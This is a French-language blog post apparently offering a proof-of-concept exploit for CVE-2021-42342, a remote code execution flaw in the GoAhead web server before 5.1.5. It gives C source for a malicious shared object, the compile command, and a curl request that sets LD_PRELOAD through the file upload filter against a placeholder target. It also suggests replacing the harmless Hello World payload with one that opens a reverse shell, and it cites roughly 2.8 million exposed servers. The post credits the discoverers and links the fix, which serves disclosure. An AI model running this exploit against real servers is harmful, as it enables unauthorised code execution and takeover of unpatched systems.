
Un petit PoC pour la récente RCE découverte dans le serveur web Goahead avant la version 5.1.5.
Un bug récent dans Goahead Webserver a été découvert par William Bowling qui mène à une RCE sur le serveur exploité.
Le problème existe avant la version 5.1.5 qui, selon Shodan couvre environ 2,8 millions de serveurs sur Internet.
Un CVE est maintenant disponible [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
La RCE est causée par le fait que si le filtre de téléversement de fichiers est activé, l'utilisateur peut téléverser des fichiers et en même temps définir des variables de formulaire utilisateur.
Ces variables finissent par devenir des variables d'environnement du système d'exploitation. Ce n'est normalement pas un problème, car dans les cas normaux de téléversement de formulaire, les variables d'environnement sont préfixées avec CGI_ (par défaut). Si, cependant, le filtre de téléversement de fichiers est activé, une erreur dans le code fait que ce préfixe est omis = RCE instantanée via les variables d'environnement + le fichier.
Ce qui suit affiche simplement "Hello World" sur le serveur distant, mais cela pourrait être n'importe quoi :
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
Compiler avec :
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
Maintenant, nous sommes prêts à envoyer notre fichier au serveur. Cela peut être fait avec curl :
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
Remplacez [TARGET] par le domaine/l'adresse IP du serveur cible.
Vous verrez probablement une erreur du serveur, mais essayez avec un autre objet partagé qui, par exemple, vous rappelle avec un joli shell 👍
Un correctif est disponible avec goahead 5.1.5 ici : [https://github.com/embedthis/goahead/issues/305]
Le problème a été initialement découvert par William Bowling de l'équipe Perfect Blue CTF. Pendant le pbCTF 2021, un défi était la version (5.1.4) du serveur goahead existant à l'époque, et avec Kalmarunionen CTF Team, nous avons rencontré le même problème 0day dans le code (pas encore divulgué aux auteurs).